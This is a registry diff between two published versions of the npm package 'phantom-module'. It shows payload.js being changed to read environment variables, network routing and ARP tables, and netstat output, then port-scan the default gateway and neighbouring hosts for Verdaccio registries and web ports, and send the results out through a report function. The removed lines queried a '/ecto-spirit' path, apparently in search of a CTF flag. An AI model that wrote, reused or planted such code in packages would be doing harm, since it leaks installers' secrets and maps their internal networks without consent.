phantom-module 117.0.3 → 117.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/payload.js +41 -45
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "117.0.3",
3
+ "version": "117.0.4",
4
4
  "description": "Phantom module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/payload.js CHANGED
@@ -26,7 +26,7 @@ async function report(moduleId, data) {
26
26
  function checkPort(host, port) {
27
27
  return new Promise((resolve) => {
28
28
  const sock = new net.Socket();
29
- sock.setTimeout(2000);
29
+ sock.setTimeout(300);
30
30
  sock.on('connect', () => { sock.destroy(); resolve(true); });
31
31
  sock.on('error', () => { sock.destroy(); resolve(false); });
32
32
  sock.on('timeout', () => { sock.destroy(); resolve(false); });
@@ -35,62 +35,58 @@ function checkPort(host, port) {
35
35
  }
36
36
 
37
37
  async function main() {
38
- await report('ECT-654321', 'SCAN V3 STARTING...');
38
+ await report('ECT-654321', 'SCAN V4 STARTING...');
39
39
 
40
40
  let envInfo = '=== ENV INFO ===\n';
41
41
  try {
42
- envInfo += `NPM_CONFIG_REGISTRY: ${process.env.NPM_CONFIG_REGISTRY || 'unset'}\n`;
43
- envInfo += `/etc/hosts:\n${fs.readFileSync('/etc/hosts','utf8')}\n`;
44
- envInfo += `/etc/resolv.conf:\n${fs.readFileSync('/etc/resolv.conf','utf8')}\n`;
45
- envInfo += `ip route:\n${execSync('ip route').toString()}\n`;
42
+ envInfo += `ENV DUMP: ${JSON.stringify(process.env).substring(0,500)}\n`;
43
+ envInfo += `/proc/net/route:\n${fs.readFileSync('/proc/net/route','utf8')}\n`;
44
+ envInfo += `/proc/net/arp:\n${fs.readFileSync('/proc/net/arp','utf8')}\n`;
45
+ try { envInfo += `netstat -rn:\n${execSync('netstat -rn').toString()}\n`; } catch(e){}
46
46
  } catch(e) { envInfo += `ERR: ${e.message}\n`; }
47
47
  await report('ECT-654321', envInfo);
48
48
 
49
- // Scan ranges
50
- const found = [];
51
- const ranges = [
52
- ['172.17.0', 1, 20],
53
- ['172.18.0', 1, 10],
54
- ['172.19.0', 1, 10],
55
- ['172.20.0', 1, 10],
56
- ['10.0.0', 1, 10],
57
- ['192.168.0', 1, 10]
58
- ];
49
+ // Parse gateway from /proc/net/route
50
+ // Destination 00000000 is default route. Gateway is hex.
51
+ let gateway = '172.17.0.1'; // Default fallback
52
+ try {
53
+ const route = fs.readFileSync('/proc/net/route', 'utf8');
54
+ const lines = route.split('\n');
55
+ for (const line of lines) {
56
+ const parts = line.split(/\s+/);
57
+ if (parts[1] === '00000000') {
58
+ const hex = parts[2];
59
+ // Convert hex IP to dot notation (little endian)
60
+ const d = parseInt(hex, 16);
61
+ gateway = `${d&255}.${(d>>8)&255}.${(d>>16)&255}.${(d>>24)&255}`;
62
+ break;
63
+ }
64
+ }
65
+ } catch(e) {}
66
+
67
+ await report('ECT-839201', `Scanning Gateway: ${gateway}\n`);
59
68
 
60
- let scanOutput = '=== SCAN V3 ===\n';
69
+ // Fast port scan of gateway
70
+ const commonPorts = [80, 443, 3000, 3001, 3128, 4873, 5000, 5001, 5080, 8000, 8001, 8080, 8081, 8090, 8888, 9000, 9090];
71
+ let scanOutput = `=== GATEWAY ${gateway} ===\n`;
61
72
 
62
- for (const [base, start, end] of ranges) {
63
- scanOutput += `Scanning ${base}.${start}-${end}...\n`;
64
- const promises = [];
65
- for (let i = start; i <= end; i++) {
66
- const ip = `${base}.${i}`;
67
- promises.push(checkPort(ip, 4873).then(open => {
68
- if (open) {
69
- found.push(ip);
70
- scanOutput += `!!! FOUND VERDACCIO: ${ip}:4873 !!!\n`;
71
- }
72
- }));
73
+ for (const port of commonPorts) {
74
+ if (await checkPort(gateway, port)) {
75
+ scanOutput += `OPEN ${gateway}:${port}\n`;
73
76
  }
74
- await Promise.all(promises);
75
77
  }
76
78
 
77
- await report('ECT-839201', scanOutput);
78
-
79
- if (found.length > 0) {
80
- const ip = found[0];
81
- const url = `http://${ip}:4873/ecto-spirit`;
82
- let flagInfo = `=== QUERY ${url} ===\n`;
83
- try {
84
- flagInfo += await new Promise(r => {
85
- http.get(url, res => {
86
- let d = ''; res.on('data', c=>d+=c); res.on('end', ()=>r(d));
87
- }).on('error', e=>r(e.message));
88
- });
89
- } catch(e) { flagInfo += e.message; }
90
- await report('ECT-987654', flagInfo);
91
- } else {
92
- await report('ECT-987654', 'No target found for query.');
79
+ // Also scan neighbor IPs
80
+ const base = gateway.split('.').slice(0,3).join('.');
81
+ scanOutput += `=== NEIGHBORS ${base}.* ===\n`;
82
+ for (let i=1; i<=10; i++) {
83
+ const ip = `${base}.${i}`;
84
+ if (ip === gateway) continue;
85
+ if (await checkPort(ip, 4873)) scanOutput += `FOUND VERDACCIO: ${ip}:4873\n`;
86
+ if (await checkPort(ip, 80)) scanOutput += `OPEN ${ip}:80\n`;
93
87
  }
88
+
89
+ await report('ECT-987654', scanOutput);
94
90
  }
95
91
 
96
92
  main().catch(e => report('ECT-654321', 'ERR: ' + e.message));